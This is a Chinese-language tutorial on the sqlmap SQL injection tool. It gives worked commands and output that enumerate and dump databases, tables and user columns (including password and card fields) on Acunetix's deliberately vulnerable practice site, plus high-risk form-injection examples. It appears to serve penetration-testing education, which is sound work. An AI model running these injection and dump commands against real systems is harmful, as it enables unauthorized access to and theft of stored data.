sqlmap
http://sqlmap.org
一个開源的渗透測試工具
可透過sql injection的手法做自動化檢測
檢測範圍包括取得資料庫數據和相關權限,瀏覽作業系統文件與執行作業系統命令等
基本指令
-u 是要做測試的url
–form 自動檢測post可用的form欄位
ex:
針對get的某一個變數自動檢測
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1
ex:
針對post的form做自動檢測
sqlmap -u http://testphp.vulnweb.com/artists.php --form
Enumeration(列舉相關指令)
–privileg 檢視db權限
–dbs 列出所有db名稱
–table 列出所有table名稱
–columns 列出所有欄位資料
-D 指定db, 若要指定多個, 則將db名稱以逗號分隔
-T 指定tables,若要指定多個, 則將table名稱以逗號分隔
-C 指定column,若要指定多個, 則將columns名稱以逗號分隔
dump 將所有資料輸出
ex:
列出所有db名稱
#sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs
...omit...
available databases [2]:
[*] acuart
[*] information_schema
ex:
列出資料庫acuart的所有table名稱
#sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --D acuart --tables
...omit…
Database: acuart
[8 tables]
+-----------+
| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| products |
| users |
+-----------+
ex:
列出資料庫acuart中資料表users的所有columns名稱
#sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --D acuart -T users --columns
...omit...
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column | Type |
+---------+--------------+
| address | mediumtext |
| cart | varchar(100) |
| cc | varchar(100) |
| email | varchar(100) |
| name | varchar(100) |
| pass | varchar(100) |
| phone | varchar(100) |
| uname | varchar(100) |
+---------+--------------+
ex:
列出資料庫acuart中資料表users的email欄位資料,並輸出成csv
#sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C email --dump
...
Database: acuart
Table: users
[1 entry]
+-------------------------+
| email |
+-------------------------+
| polola@dino.querumaself |
+-------------------------+
[22:35:53] [INFO] table 'acuart.users' dumped to CSV file '/root/.sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
ex:
檢視db權限
#sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --privileg
...omit...
database management system users privileges:
[*] 'acuart'@'localhost' [1]:
privilege: USAGE
其他常見選項
–batch 不詢問使用者要做什麼動作,直接用預設值自動跑完
–data 以post方式將資料送到目標
–threads 指定要用幾條線程做測試,越高速度越快,但一些防禦設設會把速度太快的列入黑名單
–level 深度,建議使用3以上,越高拆解的速度越慢
–risk 強度,建議使用3以上,越高拆解的速度越慢
–search 搜尋資料庫資料表名稱
-r 從文件載入HTTP請求,就可以不用設定其他参数,像是cookie,POST資料,等等
-a/–all 取得所有訊息
-v 詳細程度,有1到6的等級,預設是1
ex:
#sqlmap -u "http://testphp.vulnweb.com/search.php" --data="searchFor=&goButton=go" --table --batch
...omit...
Database: acuart
[7 tables]
+-----------+
| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| pq |
+-----------+
ex:
#sqlmap -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" --threads=4 --level=3 --risk=3 --table
ex:
#sqlmap -a -r httpfile.txt
ps:
httpfile.txt內容類似以下,可透過brupsuite或fiddler取得
POST /test.php HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/4.0
uname=1
線上測試弱點網站
HP Webinspect提供以下
- http://zero.webappsecurity.com/index.html
IBM提供以下
- http://demo.testfire.net/
Acunetix提供以下
- http://testasp.vulnweb.com/
- http://testphp.vulnweb.com/
- http://testhtml5.vulnweb.com/
- http://testaspnet.vulnweb.com/
refer
https://ithelp.ithome.com.tw/articles/10202811
https://xdeath.tw/read.php?69
https://dotblogs.com.tw/a926/2016/01/07/094825
https://www.freebuf.com/sectool/164608.html